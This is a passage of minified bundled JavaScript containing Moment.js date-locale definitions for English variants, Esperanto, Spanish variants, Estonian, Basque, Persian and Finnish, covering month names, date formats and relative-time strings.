strict";e.defineLocale("en-ca",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"YYYY-MM-DD",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(a(381))},2243:function(e,t,a){!function(e){"use strict";e.defineLocale("en-gb",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(a(381))},6436:function(e,t,a){!function(e){"use strict";e.defineLocale("en-ie",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(a(381))},7207:function(e,t,a){!function(e){"use strict";e.defineLocale("en-il",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(a(381))},4175:function(e,t,a){!function(e){"use strict";e.defineLocale("en-in",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:6}})}(a(381))},6319:function(e,t,a){!function(e){"use strict";e.defineLocale("en-nz",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(a(381))},1662:function(e,t,a){!function(e){"use strict";e.defineLocale("en-sg",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(a(381))},2915:function(e,t,a){!function(e){"use strict";e.defineLocale("eo",{months:"januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro".split("_"),monthsShort:"jan_feb_mart_apr_maj_jun_jul_aŭg_sept_okt_nov_dec".split("_"),weekdays:"dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato".split("_"),weekdaysShort:"dim_lun_mard_merk_ĵaŭ_ven_sab".split("_"),weekdaysMin:"di_lu_ma_me_ĵa_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"[la] D[-an de] MMMM, YYYY",LLL:"[la] D[-an de] MMMM, YYYY HH:mm",LLLL:"dddd[n], [la] D[-an de] MMMM, YYYY HH:mm",llll:"ddd, [la] D[-an de] MMM, YYYY HH:mm"},meridiemParse:/[ap]\.t\.m/i,isPM:function(e){return"p"===e.charAt(0).toLowerCase()},meridiem:function(e,t,a){return e>11?a?"p.t.m.":"P.T.M.":a?"a.t.m.":"A.T.M."},calendar:{sameDay:"[Hodiaŭ je] LT",nextDay:"[Morgaŭ je] LT",nextWeek:"dddd[n je] LT",lastDay:"[Hieraŭ je] LT",lastWeek:"[pasintan] dddd[n je] LT",sameElse:"L"},relativeTime:{future:"post %s",past:"antaŭ %s",s:"kelkaj sekundoj",ss:"%d sekundoj",m:"unu minuto",mm:"%d minutoj",h:"unu horo",hh:"%d horoj",d:"unu tago",dd:"%d tagoj",M:"unu monato",MM:"%d monatoj",y:"unu jaro",yy:"%d jaroj"},dayOfMonthOrdinalParse:/\d{1,2}a/,ordinal:"%da",week:{dow:1,doy:7}})}(a(381))},5251:function(e,t,a){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),a="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-do",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?a[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(a(381))},6112:function(e,t,a){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),a="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-mx",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?a[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:4},invalidDate:"Fecha inválida"})}(a(381))},1146:function(e,t,a){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),a="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-us",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?a[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"MM/DD/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:6}})}(a(381))},5655:function(e,t,a){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),a="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?a[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4},invalidDate:"Fecha inválida"})}(a(381))},5603:function(e,t,a){!function(e){"use strict";function t(e,t,a,n){var i={s:["mõne sekundi","mõni sekund","paar sekundit"],ss:[e+"sekundi",e+"sekundit"],m:["ühe minuti","üks minut"],mm:[e+" minuti",e+" minutit"],h:["ühe tunni","tund aega","üks tund"],hh:[e+" tunni",e+" tundi"],d:["ühe päeva","üks päev"],M:["kuu aja","kuu aega","üks kuu"],MM:[e+" kuu",e+" kuud"],y:["ühe aasta","aasta","üks aasta"],yy:[e+" aasta",e+" aastat"]};return t?i[a][2]?i[a][2]:i[a][1]:n?i[a][0]:i[a][1]}e.defineLocale("et",{months:"jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"),monthsShort:"jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"),weekdays:"pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev".split("_"),weekdaysShort:"P_E_T_K_N_R_L".split("_"),weekdaysMin:"P_E_T_K_N_R_L".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[Täna,] LT",nextDay:"[Homme,] LT",nextWeek:"[Järgmine] dddd LT",lastDay:"[Eile,] LT",lastWeek:"[Eelmine] dddd LT",sameElse:"L"},relativeTime:{future:"%s pärast",past:"%s tagasi",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:"%d päeva",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},7763:function(e,t,a){!function(e){"use strict";e.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(a(381))},6959:function(e,t,a){!function(e){"use strict";var t={1:"۱",2:"۲",3:"۳",4:"۴",5:"۵",6:"۶",7:"۷",8:"۸",9:"۹",0:"۰"},a={"۱":"1","۲":"2","۳":"3","۴":"4","۵":"5","۶":"6","۷":"7","۸":"8","۹":"9","۰":"0"};e.defineLocale("fa",{months:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),monthsShort:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),weekdays:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysShort:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysMin:"ی_د_س_چ_پ_ج_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/قبل از ظهر|بعد از ظهر/,isPM:function(e){return/بعد از ظهر/.test(e)},meridiem:function(e,t,a){return e<12?"قبل از ظهر":"بعد از ظهر"},calendar:{sameDay:"[امروز ساعت] LT",nextDay:"[فردا ساعت] LT",nextWeek:"dddd [ساعت] LT",lastDay:"[دیروز ساعت] LT",lastWeek:"dddd [پیش] [ساعت] LT",sameElse:"L"},relativeTime:{future:"در %s",past:"%s پیش",s:"چند ثانیه",ss:"%d ثانیه",m:"یک دقیقه",mm:"%d دقیقه",h:"یک ساعت",hh:"%d ساعت",d:"یک روز",dd:"%d روز",M:"یک ماه",MM:"%d ماه",y:"یک سال",yy:"%d سال"},preparse:function(e){return e.replace(/[۰-۹]/g,(function(e){return a[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},dayOfMonthOrdinalParse:/\d{1,2}م/,ordinal:"%dم",week:{dow:6,doy:12}})}(a(381))},1897:function(e,t,a){!function(e){"use strict";var t="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),a=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",t[7],t[8],t[9]];function n(e,t,a,n){var r="";switch(a){case"s":return n?"muutaman sekunnin":"muutama sekunti";case"ss":r=n?"sekunnin":"sekuntia";break;case"m":return n?"minuutin":"minuutti";case"mm":r=n?"minuutin":"minuuttia";break;case"h":return n?"tunnin":"tunti";case"hh":r=n?"tunnin":"tuntia";break;case"d":return n?"päivän":"päivä";case"dd":r=n?"päivän":"päivää";break;case"M":return n?"kuukauden":"kuukausi";case"MM":r=n?"kuukauden":"kuukautta";break;case"y":return n?"vuoden":"vuosi";case"yy":r=n?"vuoden":"vuotta"}return r=i(e,n)+" "+r}function i(e,n){return e<10?n?a[e]:t[e]:e}e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(a(381))},2549:function(e,t,a){!function(e){"use 